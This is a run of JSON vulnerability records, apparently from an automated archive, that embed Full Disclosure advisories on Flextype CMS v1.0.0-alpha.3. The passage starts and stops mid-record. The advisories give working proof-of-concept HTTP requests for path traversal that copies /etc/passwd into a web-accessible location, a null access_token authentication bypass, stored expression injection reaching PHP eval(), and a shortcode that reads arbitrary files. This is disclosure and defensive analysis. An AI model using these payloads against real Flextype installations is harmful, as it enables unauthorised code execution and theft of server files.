          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/21"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0179",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21",
            "automated": true,
            "contentSha256": "c9e2a727f1f53efb6b4cf5be0bcca4af1eb3ca45be5286682e35f5d90167ecd2",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/21",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:16:22Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0179"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0179"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the\nEntries copy functionality. An authenticated remote attacker can supply\ndirectory traversal sequences within both the source id and destination\nnew_id parameters submitted to /api/v1/entries/copy.\n\nFlextype constructs entry directory paths by directly concatenating the\nsupplied entry identifier with the configured entries directory without\nsufficiently canonicalizing the resulting path or verifying that it remains\nwithin the intended project/entries directory.\n\nAs a result, an attacker can escape the configured entries directory for\nboth the source and destination of a copy operation. Testing confirmed that\na source identifier containing ../../../etc resolved to the system /etc\ndirectory and that a destination identifier containing ../../etc-copy\ncaused the directory to be copied outside project/entries to /app/etc-copy.\n\nThe copied /etc/passwd file was subsequently accessible over HTTP from\n/etc-copy/passwd, resulting in disclosure of operating-system files that\nwere not intended to be exposed by the web application.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to escape\nthe Flextype entries directory and use filesystem directories outside the\nintended content storage location as the source or destination of entry\ncopy operations.\n\nTesting demonstrated that the vulnerability can copy operating-system files\nfrom /etc into a web-accessible location under the application root. This\nresulted in remote disclosure of /etc/passwd.\n\nDepending on filesystem permissions, application deployment layout, and\nweb-server configuration, the vulnerability may allow disclosure of\nsensitive application and operating-system files by copying otherwise\ninaccessible directories into web-accessible locations.\n\nThe destination traversal also provides a filesystem write/copy primitive\noutside the intended project/entries security boundary. This primitive may\nincrease the impact of other vulnerabilities when chained with\nfunctionality capable of interpreting or executing attacker-controlled\nfiles.\nDetailsVulnerable Entry Copy Implementation\n\nThe Flextype copy() method receives the existing entry identifier and new\nentry identifier and eventually passes both values to getDirectoryLocation()\n:\n\npublic function copy(string $id, string $newID): bool\n{\n    // Collections validation helper.\n    // Check if collections are identical.\n    $isValidCollections = function ($id, $newID) {\n        $collectionForCurrentEntry = $this-\u003egetCollectionOptions($id);\n        $collectionForNewEntry     = $this-\u003egetCollectionOptions($newID);\n\n        $result = true;\n\n        if (! isset($collectionForCurrentEntry[\u0027filename\u0027]) ||\n            ! isset($collectionForCurrentEntry[\u0027extension\u0027]) ||\n            ! isset($collectionForCurrentEntry[\u0027serializer\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027filename\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027extension\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027serializer\u0027])) {\n            $result = false;\n        }\n\n        if (($collectionForCurrentEntry[\u0027filename\u0027] !=\n$collectionForNewEntry[\u0027filename\u0027]) ||\n            ($collectionForCurrentEntry[\u0027extension\u0027] !=\n$collectionForNewEntry[\u0027extension\u0027]) ||\n            ($collectionForCurrentEntry[\u0027serializer\u0027] !=\n$collectionForNewEntry[\u0027serializer\u0027])) {\n            $result = false;\n        }\n\n        return $result;\n    };\n\n    if (! $isValidCollections($id, $newID)) {\n        return false;\n    }\n\n    $this-\u003eregistry()-\u003eset(\u0027methods.copy\u0027, [\n        \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n        \u0027params\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $id,\n            \u0027newID\u0027 =\u003e $newID,\n        ],\n        \u0027result\u0027 =\u003e null,\n    ]);\n\n    emitter()-\u003eemit(\u0027onEntriesCopy\u0027);\n\n    if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027)) \u0026\u0026\n        is_bool($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027))) {\n        return $this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027);\n    }\n\n    return filesystem()\n        -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n        -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n}\n\nThe getDirectoryLocation() method constructs the filesystem path using the\nsupplied identifier:\n\npublic function getDirectoryLocation(string $id): string\n{\n    $this-\u003eregistry()-\u003eset(\u0027methods.getDirectoryLocation\u0027, [\n        \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n        \u0027params\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $id,\n        ],\n        \u0027result\u0027 =\u003e null,\n    ]);\n\n    emitter()-\u003eemit(\u0027onEntriesGetDirectoryLocation\u0027);\n\n    if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027))\n\u0026\u0026\n        is_string($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027)))\n{\n        return $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027);\n    }\n\n    return FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n           $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n           $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n}\n\nThe supplied identifier is appended directly to:\n\nFLEXTYPE_PATH_PROJECT/\u003centries-directory\u003e/\n\nwithout enforcing that the canonicalized resulting path remains beneath the\nintended entries directory.\n\nConsequently, traversal sequences within an entry identifier can escape the\nexpected directory.\nProof of Concept \u2014 Escape Source and Destination Directories\n\nThe following request supplies traversal sequences for both the source and\ndestination identifiers:\n\nPUT /api/v1/entries/copy HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../../etc\",\"new_id\":\"../../etc-copy\"}\n\nGiven an entries directory rooted at:\n\n/app/project/entries\n\nthe source:\n\n../../../etc\n\nescapes the entries directory and resolves to:\n\n/etc\n\nThe destination:\n\n../../etc-copy\n\nsimilarly escapes the entries directory and resolves to:\n\n/app/etc-copy\n\nThe HTTP endpoint returned:\n\nHTTP/1.1 404 Not Found\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 0\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\nDespite the HTTP 404 response, filesystem inspection confirmed that the\ncopy operation occurred.\nProof of Concept \u2014 Filesystem Evidence\n\nFollowing the request, /etc/passwd existed beneath the attacker-selected\nescaped destination:\n\nrealpath: /app/etc-copy/passwd\n---\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nThe resulting path:\n\n/app/etc-copy/passwd\n\nis outside the intended:\n\n/app/project/entries\n\ndirectory.\n\nThis demonstrates that the traversal sequences affected the underlying\nfilesystem operation despite the API returning HTTP 404.\nProof of Concept \u2014 Remote File Disclosure\n\nThe copied file could subsequently be retrieved directly through the web\nserver:\n\nGET /etc-copy/passwd HTTP/1.1\nHost: 127.0.0.1:18080\n\nThe application returned the copied operating-system file:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nContent-Length: 839\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nRoot Cause\n\nThe root cause is insufficient validation and canonicalization of entry\nidentifiers before they are incorporated into filesystem paths.\n\nThe vulnerable path construction is:\n\nreturn FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n       $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n       $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n\nThe resulting path is then used directly by the copy operation:\n\nreturn filesystem()\n    -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n    -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n\nNeither the source nor destination is shown being canonicalized and checked\nto ensure it remains beneath the configured entries directory before the\nfilesystem copy operation occurs.\n\nThis allows ../ path components supplied through the entry identifiers to\nescape the intended filesystem boundary.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/22"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/22"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0180",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22",
            "automated": true,
            "contentSha256": "b7897cdb97161a7ae262926a8436290ea19695546887205b5685e402c54945c4",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/22",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:22:38Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0180"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0180"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an authentication validation\nvulnerability in the API request-processing functionality. API endpoints\nmay declare access_token as a required parameter, but the\nrequired-parameter validation only verifies that the corresponding key\nexists in the supplied request data.\n\nAuthentication verification is subsequently performed inside an isset($data\n[\u0027access_token\u0027]) condition. In PHP, isset() returns false when a key\nexists but its value is null.\n\nAn attacker can therefore supply \"access_token\": null, satisfying the\nrequired-parameter existence check while causing the subsequent\naccess-token verification logic to be skipped.\n\nTesting confirmed that a protected Entries API operation accepted an\naccess_token value of null and successfully created an entry.\nImpact\n\nAn remote attacker can bypass the access_token authentication requirement\nfor affected API endpoints.\n\nThe resulting impact depends on the functionality exposed by the affected\nendpoint. Where the bypass provides access to entry creation, modification,\nquery, or other privileged API functionality, it may also remove the\nauthentication prerequisite from vulnerabilities reachable through those\nendpoints.\n\nThe public API token requirement should be considered separately from the\nbypassed access_token security control.\nDetailsRequired Parameter Validation\n\nFlextype combines query and request-body parameters and verifies required\nparameters by checking only whether the required key occurs within the\nresulting array:\n\n$data = array_merge($queryData, $bodyData);\n\n$dataTest = true;\n\nforeach ($options[\u0027params\u0027] as $key =\u003e $value) {\n    if (in_array($value, array_keys($data))) {\n        continue;\n    }\n\n    $dataTest = false;\n}\n\nConsequently, a request containing:\n\n{\n    \"access_token\": null\n}\n\nsatisfies the parameter-presence requirement because the access_token key\nexists.\nAuthentication Verification\n\nAccess-token validation is subsequently conditional upon PHP\u0027s isset():\n\nif (isset($data[\u0027access_token\u0027])) {\n    if (! isset($tokenData[\u0027hashed_access_token\u0027])) {\n        return $this-\u003egetStatusCodeMessage(401);\n    }\n\n    if (! verifyTokenHash($data[\u0027access_token\u0027],\n$tokenData[\u0027hashed_access_token\u0027])) {\n        return $this-\u003egetStatusCodeMessage(401);\n    }\n}\n\nFor a PHP array containing an access_token key whose value is null:\n\nisset($data[\u0027access_token\u0027])\n\nevaluates to false.\n\nThe authentication verification block is therefore skipped.\nProof of Concept\n\nThe following request supplies the required access_token parameter with a\nJSON null value:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":null,\"id\":\"auth-null-proof\",\"data\":{\"title\":\"AUTH_NULL_BYPASS_PROOF\"}}\n\nFlextype accepted the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18086\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"AUTH_NULL_BYPASS_PROOF\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"514b6f5a-dc16-4572-9c16-8ac4a17250f0\",\"content\":\"\",\"slug\":\"auth-null-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"auth-null-proof\"}\n\nThe successful creation of auth-null-proof demonstrates that supplying a\nnull access token bypasses the access-token verification performed by the\nAPI authentication logic.\nRoot Cause\n\nThe vulnerability results from inconsistent validation of required\nparameters.\n\nThe first validation considers a parameter present when its key exists:\n\nin_array($value, array_keys($data))\n\nwhile authentication is conditional upon:\n\nisset($data[\u0027access_token\u0027])\n\nThese operations have different behavior for null values.\n\nA JSON value of:\n\n\"access_token\": null\n\ntherefore satisfies the first condition while preventing execution of the\nsecond.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:57Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/23"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/23"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0181",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23",
            "automated": true,
            "contentSha256": "efe9de737ca56dbcd80c23ad730f7fd8c9523cc4918fd3fb3e884a81fe122cb6",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/23",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:50:46Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0181"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:57Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0181"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability\ncaused by the interaction between globally processed entry expressions, the\nmutable registry object exposed to expressions, and the PHP entry directive.\n\nAttacker-controlled entry fields are automatically processed as expressions\nduring entry retrieval. The expression environment exposes the\napplication\u0027s mutable registry() object, allowing an expression to modify\nFlextype runtime configuration.\n\nAn attacker can use a stored expression to enable the PHP entry directive\nand place an @php directive within the same stored field. Subsequent\ndirective processing reaches PHP eval(), resulting in execution of\nattacker-controlled PHP code within the Flextype process.\n\nTesting confirmed execution by returning the server\u0027s PHP version as\nSTORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to\nexecute again, demonstrating persistent server-side code execution.\nImpact\n\n An attacker capable of creating or modifying affected entry fields can\nexecute arbitrary PHP code within the security context of the Flextype\napplication.\n\nThis may allow complete compromise of application confidentiality,\nintegrity, and availability, subject to the operating-system permissions\nassigned to the PHP process.\n\nBecause the malicious directive is stored within entry content, execution\ncan occur again when the affected entry is subsequently processed.\nDetailsMutable Registry Exposed to Expressions\n\nFlextype exposes the application registry to the expression environment:\n\nreturn [\n    new ExpressionFunction(\n        \u0027registry\u0027,\n        static fn () =\u003e \u0027\\Flextype\\registry()\u0027,\n        static fn ($arguments) =\u003e registry()\n    )\n];\n\nThis returns the mutable application registry rather than a restricted\nread-only representation.\nPHP Directive\n\nThe PHP directive first determines whether PHP processing is enabled:\n\nif (! registry()-\u003eget(\u0027flextype.settings.entries.directives.php.enabled\u0027)) {\n    return;\n}\n\nWhen enabled, entry content containing @php reaches eval():\n\nif (strings($field[\u0027value\u0027])-\u003econtains(\u0027@php\u0027)) {\n    ob_start();\n\n    eval(\n        strings($field[\u0027value\u0027])\n            -\u003ereplace(\u0027@php\u0027, \u0027\u0027)\n            -\u003etrim()\n            -\u003etoString()\n    );\n\n    $field[\u0027value\u0027] = ob_get_clean();\n}\n\nProof of Concept\n\nThe following stored entry value first enables the PHP directive through an\nexpression and then supplies PHP code:\n\n[% registry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\n\nIt was submitted through the Entries API:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"stored-rce-proof\",\"data\":{\"title\":\"[%\nregistry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\"}}\n\nFlextype returned:\n\nHTTP/1.1 200 OK\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"STORED_RCE_8.1.34\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"11eef64f-890a-40ef-8711-b57937677c82\",\"content\":\"\",\"slug\":\"stored-rce-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"stored-rce-proof\"}\n\nThe value:\n\nSTORED_RCE_8.1.34\n\ndemonstrates execution of the attacker-supplied PHP expression and access\nto the runtime PHP_VERSION constant.\nPersistent Execution\n\nThe stored entry was subsequently retrieved using a normal entry request:\n\nGET /api/v1/entries?token=lab-token\u0026id=stored-rce-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained:\n\nSTORED_RCE_8.1.34\n\ndemonstrating that execution is associated with stored entry processing\nrather than requiring the complete PHP payload to be supplied during the\ntriggering GET request.\nRoot Cause\n\nThe vulnerability results from the interaction of three unsafe trust\ndecisions:\n\n   1. Attacker-controllable stored entry fields are interpreted as\n   executable expressions.\n   2. Expressions have access to the mutable application registry.\n   3. The PHP directive executes processed entry content using eval().\n\nThis permits stored data to modify the security setting intended to disable\nPHP processing before the PHP directive processes the same\nattacker-controlled content.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/24"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0182",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24",
            "automated": true,
            "contentSha256": "32da84289c82fed0e4a4fc8f416b4e60c9da0dc8a042407345235b5c96dc4067",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:54:00Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0182"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0182"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability\nin its stored shortcode processing functionality. Attacker-controlled entry\nfields are automatically processed by the shortcode parser when global\nshortcode processing is enabled.\n\nThe built-in filesystem shortcode accepts a file path and returns the\ncontents of the specified file without restricting the path to an approved\napplication directory.\n\nAn attacker capable of storing shortcode syntax within an entry can\ntherefore cause Flextype to read arbitrary files accessible to the PHP\nprocess.\n\nTesting confirmed exploitation by storing a filesystem shortcode\nreferencing /etc/passwd. Flextype returned the contents of /etc/passwd\nwhile processing the entry and returned the file contents again during\nsubsequent normal retrieval of the stored entry.\nImpact\n\nAn attacker can retrieve arbitrary files readable by the Flextype PHP\nprocess.\n\nPotentially exposed information includes application configuration,\ncredentials, API keys, database connection information, source code,\noperating-system files, and other application secrets.\n\nUnlike the previously identified ExpressionsDirective file-read\nvulnerability, this vulnerability reaches filesystem functionality through\nFlextype\u0027s shortcode parser and FilesystemShortcode implementation.\nDetailsAutomatic Shortcode Processing\n\nEntry fields are passed to the shortcode parser:\n\nif (is_string($field[\u0027value\u0027])) {\n    if (strings($field[\u0027value\u0027])-\u003econtains(\u0027@shortcodes\u0027)) {\n        $field[\u0027value\u0027] = strings(\n            parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027])\n        )-\u003ereplace(\u0027@shortcodes\u0027, \u0027\u0027)-\u003etrim()-\u003etoString();\n    } elseif (\n        registry()-\u003eget(\n            \u0027flextype.settings.entries.directives.shortcodes.enabled_globally\u0027\n        )\n    ) {\n        $field[\u0027value\u0027] = parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027]);\n    }\n}\n\nFilesystem Shortcode\n\nThe filesystem shortcode accepts the supplied file parameter and returns\nits contents:\n\nif (\n    collection(array_keys($params))\n        -\u003efilter(static fn ($v) =\u003e $v === \u0027get\u0027)\n        -\u003ecount() \u003e 0 \u0026\u0026\n    isset($params[\u0027file\u0027]) \u0026\u0026\n    registry()-\u003eget(\n        \u0027flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled\u0027\n    ) === true\n) {\n    $file = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027file\u0027]);\n\n    return filesystem()-\u003efile($file)-\u003eexists()\n        ? filesystem()-\u003efile($file)-\u003eget()\n        : \u0027\u0027;\n}\n\nNo filesystem containment restriction is applied to $file before it is read.\nProof of Concept\n\nThe following entry contains a filesystem shortcode targeting /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-file-proof\",\"data\":{\"title\":\"(filesystem\nget file:\u0027/etc/passwd\u0027)\"}}\n\nFlextype returned the contents of /etc/passwd within the processed title:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n...\n\nThe stored entry was subsequently requested normally:\n\nGET 